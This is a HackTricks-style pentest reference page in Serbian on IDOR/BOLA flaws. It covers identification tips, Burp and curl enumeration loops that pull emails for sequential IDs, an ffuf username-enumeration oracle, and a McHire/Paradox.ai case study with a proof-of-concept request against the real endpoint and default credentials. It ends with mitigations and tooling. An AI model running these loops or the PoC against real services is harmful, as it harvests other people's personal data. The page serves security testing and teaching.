5.6 KiB
Raw Blame History

IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi direktno za pristup internom objektu bez provere da li je pozivatelj ovlašćen da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration.


1. Identifikacija potencijalnih IDOR-a

  1. Tražite parametre koji referenciraju objekat:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Preferirajte endpoint-e koji čitaju ili ažuriraju podatke (GET, PUT, PATCH, DELETE).
  2. Obratite pažnju kada su identifikatori sekvencijalni ili predvidljivi ako je vaš ID 64185742, tada 64185741 verovatno postoji.
  3. Istražite skrivene ili alternativne tokove (npr. "Paradox team members" link na login stranicama) koji mogu otkriti dodatne API-je.
  4. Koristite autentifikovanu sesiju sa niskim privilegijama i menjajte samo ID zadržavajući isti token/cookie. Odsustvo greške autorizacije obično je znak IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatizovana enumeracija (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

Kada download endpoint prihvata i username i filename (npr. /view.php?username=<u>&file=<f>), suptilne razlike u error messages često stvaraju oracle:

  • Nepostojeći username → "User not found"
  • Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove)
  • Pogrešna extension → validation error

Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. /view.php?username=amanda&file=privacy.odt). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala.


2. Studija slučaja iz stvarnog sveta McHire Chatbot Platform (2025)

Tokom testa Paradox.ai-powered McHire recruitment portala otkriven je sledeći IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie za bilo koji test nalog restorana
  • Body parameter: {"lead_id": N} 8-znamenkasti, uzastopni numerički identifikator

Smanjivanjem lead_id tester je dobio proizvoljne podnosioce prijava sa full PII (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer JWT koji je omogućio session hijacking. Enumeracija opsega 1 64,185,742 otkrila je otprilike 64 miliona zapisa.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

U kombinaciji sa podrazumevanim administratorskim akreditivima (123456:123456) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka.


3. Uticaj IDOR / BOLA

  • Horizontalno eskaliranje čitanje/izmena/brisanje podataka ostalih korisnika.
  • Vertikalno eskaliranje korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
  • Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
  • Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.

4. Ublažavanja i najbolje prakse

  1. Sprovodite autorizaciju na nivou objekta za svaki zahtev (user_id == session.user).
  2. Preferirajte indirektne, nepredvidljive identifikatore (UUIDv4, ULID) umesto auto-increment IDs.
  3. Izvršavajte autorizaciju server-side, nikada se ne oslanjajte na skrivene form polja ili UI kontrole.
  4. Implementirajte RBAC / ABAC provere u centralnom middleware-u.
  5. Dodajte rate-limiting & logging kako biste otkrili enumeraciju ID-eva.
  6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References